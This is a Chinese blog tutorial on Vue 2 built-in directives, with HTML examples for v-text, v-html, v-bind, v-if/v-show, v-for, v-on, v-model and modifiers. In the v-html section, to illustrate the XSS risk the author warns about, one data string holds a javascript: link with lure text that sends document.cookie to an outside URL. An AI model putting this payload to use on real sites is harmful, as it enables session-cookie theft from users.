【Vue2】02 - vue内置指令

已于 2025-04-27 15:21:01 修改
阅读量685 收藏 18
点赞数 16
CC 4.0 BY-SA版权
分类专栏： # vue2 文章标签： javascript vue
于 2025-04-15 19:11:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43350524/article/details/147256194

vue2 - 指令

文章目录


Vue 会根据不同的【指令】，针对标签实现不同的【功能】

指令：带有v-前缀的特殊标签属性

一：v-text、v-html(插值)

v-text 对vue中的data中的数据进行插值操作

和{{}}的区别是 => v-text会替换掉节点中的内容，{{xx}}则不会。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-text="name">这个是什么?</div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>'
			}
		})
	</script>
</html>

在这里插入图片描述

v-html 设置元素的innerHTML

与插值语法的区别：v-html会替换掉节点中所有的内容，{{xx}}则不会。v-html可以识别html结构。

严重注意：v-html有安全性问题！！！！

  • 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
  • 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'小崔',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
			}
		})
	</script>
</html>

在这里插入图片描述

二：v-bind(单向绑定)

动态设置html的标签属性，例如src，href，title等等，语法是v-bind:属性名="表达式",表达式的结果就是属性值

可以简写成：:属性名="表达式"

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

    <div id="root">
        <img v-bind:src="imageUrl" :title="msg">
    </div>

    <script>
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                imageUrl: "./image/01.png",
                msg: "hello"
            }
        })
    </script>
</body>
</html>

可以配合v-show做一个切换图片的小案例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

    <div id="root">
        <button v-show="index > 0" @click="index--">上一张图片</button>
        <div>
            <img :src="image_list[index]">
        </div>
        <button v-show="index < image_list.length - 1" @click="index++">下一张图片</button>
    </div>

    <script>
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                index: 0, // 初始的index = 0
                image_list: [
                    "./image/01.png",
                    "./image/02.png",
                    "./image/03.png",
                    "./image/04.png",
                    "./image/05.png",
                ]
            }
        })
    </script>
</body>
</html>

为了方便开发者进行样式控制，Vue 扩展了 v-bind 的语法 可以针对 class 类名 和 style 行内样式 进行控制，

语法是：:class="对象或者数组"

<!-- 对于对象的情况，键就是对应的类名，值就是布尔值，如果为true，就有这个类，反之没有 -->
<div class="box" :class="{类名1:布尔值, 类名2:布尔值}">
    xxx
</div>

<!-- 对于数组的情况，就是数组中的所有的类，都会添加到盒子中 -->
<div class="box" :class="[类名1, 类名2, 类名3]">
    xxx
</div>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>:class测试</title>
    <!-- 引入vue.js -->
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <style>
        .box {
            width: 500px;
            height: 500px;
            border: 3px solid red;
            font-size: 30px;
            margin-top: 10px; /* 上侧外边距 - 10px */
        }
        .pink {
            color: pink;
        }
        .bigFont {
            font-size: 50px;
        }

    </style>
</head>
<body>
    <!-- 列表渲染，删除任务功能，添加任务功能，清空任务，底部统计 -->
    <div id="app">
<!--        <div class = "box" :class="{pink: true, bigFont: false}">-->
<!--            测试一下.class-->
<!--        </div>-->
        <div class="box" :class="['pink', 'bigFont']">
            测试一下.class
        </div>
    </div>
    
    <script>
        new Vue({
            el: '#app',
        })
    </script>
</body>
</html>

三：v-if、v-show(判断)

v-show -> 控制元素的显示和隐藏

v-show的语法如下：

v-show="表达式", 表达式的值true显示，false为隐藏

v-show隐藏的原理是切换样式属性 -> display:none，来控制元素的显示和隐藏，所以v-show适用于频繁切换显示隐藏的情况

v-if -> 控制元素的显示和隐藏(条件渲染)

v-if的语法如下：

v-if="表达式", 表达式的值true显示，false为隐藏

v-if隐藏的原理是根据判断条件决定是创建元素还是移除元素

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="application/javascript" src="../js/vue.js"></script>
    <style>
        .box {
            text-align: center;
            border-radius: 10px;
            box-shadow: 2px 2px 2px #ccc;
        }
    </style>

</head>
<body>

    <div id="root">
        <div v-if="flag" class="box">我是v-if盒子</div>
        <div v-show="flag" class="box">我是v-show盒子</div>
    </div>

    <script>
        let vm = new Vue({
            el: "#root", // 容器绑定vue实例
            data: {
                flag: false
            }
        })
    </script>
</body>
</html>

检查元素发现：

在这里插入图片描述

v-else和v-else-if是辅助v-if进行判断渲染的

在这里插入图片描述

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="application/javascript" src="../js/vue.js"></script>

</head>
<body>

    <div id="root">
        <p v-if="gender===1">男</p>
        <p v-else>女</p>
        <hr>
        <p v-if="score>=85">评级为A，奖励一台电脑</p>
        <p v-else-if="score>=75">评级为B，奖励一部手机</p>
        <p v-else-if="score>=65">评级为C，奖励一个微波炉</p>
        <p v-else>评级为D，奖励一个日记本</p>
    </div>

    <script>
        let vm = new Vue({
            el: "#root", // 容器绑定vue实例
            data: {
                gender: 1,
                score: 89
            }
        })
    </script>
</body>
</html>

四：v-for(循环)

基于数据的循环，多次渲染整个元素

遍历数组的语法：v-for="(item index) in 数组" -> item表示每一项，index是对应的下标

如果要省略index，可以简写v-for="item in 数组"

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

<div id="root">
    <ul>
        <li v-for="(item, index) in fruits">
            第 {{index + 1}} 种水果 - {{ item }}
        </li>
    </ul>
</div>

<script>
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            fruits: [
                "苹果", "榴莲", "香蕉", "橘子"
            ]
        }
    })
</script>
</body>
</html>

配合事件可以实现对应列表项的删除

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

<div id="root">
    <ul>
        <li v-for="item in books">
            <span>{{ item.name }}</span>
            <span>{{ item.author }}</span>
            <button @click="del(item.id)">删除</button>
        </li>
    </ul>
</div>

<script>
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            books: [
                {id: 1, name: "《三国演义》", author: "罗贯中"},
                {id: 2, name: "《水浒传》", author: "施耐庵"},
                {id: 3, name: "《西游记》", author: "吴承恩"},
                {id: 4, name: "《红楼梦》", author: "曹雪芹"}
            ]
        },
        methods: {
            del(id) {
                // 通过filter删除，然后赋值回原数组
                this.books = this.books.filter(item => item.id !== id);
            }
        }
    })
</script>
</body>
</html>

v-for中的key

语法：key属性=“唯一标识”

作用：给列表项添加的唯一标识。便于Vue进行列表项的正确排序复用。

如果不加key，v-for 的默认行为会尝试原地修改元素（就地复用）

注意点：

  1. key 的值只能是 字符串 或数字类型

  2. key 的值必须具有 唯一性

  3. 推荐使用 id 作为 key（唯一），不推荐使用 index 作为 key（会变化，不对应）

五：v-on(事件)

作用是注册事件，至于有那些事件，可以参考DOM，注册事件 = 添加监听 + 提供处理逻辑，语法如下：

  • v-on:事件名="内联语句"
  • v-on:事件名="methods中的方法名称"

v-on:可以简写成为@

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="application/javascript" src="../js/vue.js"></script>

</head>
<body>

    <div id="root">
        <button v-on:click="count = count + 1">+</button>
        {{count}}
        <!-- 如果使用简写方式 --> 
        <button @click="count--">-</button>
    </div>

    <script>
        let vm = new Vue({
            el: "#root", // 容器绑定vue实例
            data: {
                count: 100
            }
        })
    </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="application/javascript" src="../js/vue.js"></script>

</head>
<body>

    <div id="root">
        <button @click="showMessage">点我count + 2</button>
        {{count}}
        <button @click="changeShow">点我切换显示隐藏</button>
        <p v-show="isShow">我是显示还是隐藏？？</p>
    </div>

    <script>
        let vm = new Vue({
            el: "#root", // 容器绑定vue实例
            data: {
                count: 100,
                isShow: false
            },
            methods: {
                showMessage() {
                    vm.count += 2
                },
                changeShow() {
                    vm.isShow = !vm.isShow; // 通过去反!，不断翻转isShow的true和false
                }
            }
        })
    </script>
</body>
</html>

还可以进行传参

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="application/javascript" src="../js/vue.js"></script>
    <style>
        .box {
            text-align: center;
            border-radius: 10px;
            border-style: solid;
            border-width: 1px;
        }
    </style>
</head>
<body>

    <div id="root">
        <div class="box">
            <h1 class="text-center">贩卖机</h1>
            <button @click="buy(3)">可乐3元</button>
            <button @click="buy(5)">脉动5元</button>
            <button @click="buy(4)">牛奶4元</button>
        </div>
        <p>银行卡余额：{{money}}</p>
    </div>

    <script>
        let vm = new Vue({
            el: "#root", // 容器绑定vue实例
            data: {
                money: 100
            },
            methods: {
                buy(m) {
                    this.money = this.money - m;
                    if (this.money < 0) {
                        this.money = 0
                        alert("出货失败，余额不足")
                    }
                }
            }
        })
    </script>
</body>
</html>

六：v-model(双向绑定)

给表单元素使用，双向数据绑定 -> 可以快速获取或设置表单元素内容

在这里插入图片描述

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

<div id="root">
    姓名：<input type="text" v-model="username"><br><br>
    密码：<input type="password" v-model="password"><br><br>
    <button type="submit" @click="login">提交</button>
    <button type="reset" @click="reset">重置</button>
</div>

<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            username: "",
            password: ""
        },
        methods: {
            login() {
                alert(this.username + " " + this.password)
            },
            reset() {
                this.username = ""
                this.password = ""
            }
        }
    })
</script>
</body>
</html>

在这里插入图片描述

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>v-model测试</title>
    <!-- 引入vue.js -->
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
</head>
<body>
    <!-- 列表渲染，删除任务功能，添加任务功能，清空任务，底部统计 -->
    <div id="app">
        姓名：
        <input type="text" v-model="username">
        <br><br>

        是否单身:
        <input type="checkbox" v-model="isSingle">
        <br><br>

        <!-- 前置理解
        要给单选框加上name属性，可以分组，这样同一组的只能选一个，否则可以选多个
        要给单选框加上value属性的话，将会使用value的内容返回给后端
        -->
        性别：
        <input type="radio" v-model="sex" value="1" name="sex">男</input>
        <input type="radio" v-model="sex" value="2" name="sex">女</input>

        <!-- 前置理解
        要给下拉框加上value属性的话，将会使用value的内容返回给后端
        select的value属性，默认是option的value值，如果option没有value值，那么默认是option的内容

        -->
        所在城市：
        <select v-model="city">
            <option value="101">北京</option>
            <option value="102">上海</option>
            <option value="103">深圳</option>
        </select>

        自我描述
        <textarea v-model="desc"></textarea>

        <button @click="submit">立即注册</button>
    </div>

    <script>
        new Vue({
            el: '#app',
            data: {
                username: '',
                isSingle: false,
                sex: '1',
                city: '101',
                desc: ''
            },
            methods: {
                submit() {
                    console.log(this.username)
                    console.log(this.isSingle)
                    console.log(this.sex)
                    console.log(this.city)
                    console.log(this.desc)
                }
            }
        })
    </script>
</body>
</html>

七：指令修饰符

通过.指明一些指令后缀，不同后缀封装了不同的处理操作 -> 简化代码

按键修饰符 -> @keyup.enter -> 键盘回车监听

v-model修饰符 -> v-model.trim -> 去除首尾空格；v-model.number -> 转数字

事件修饰符 -> @事件名.stop -> 阻止冒泡；@事件名.prevent 一 阻止默认行为

评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值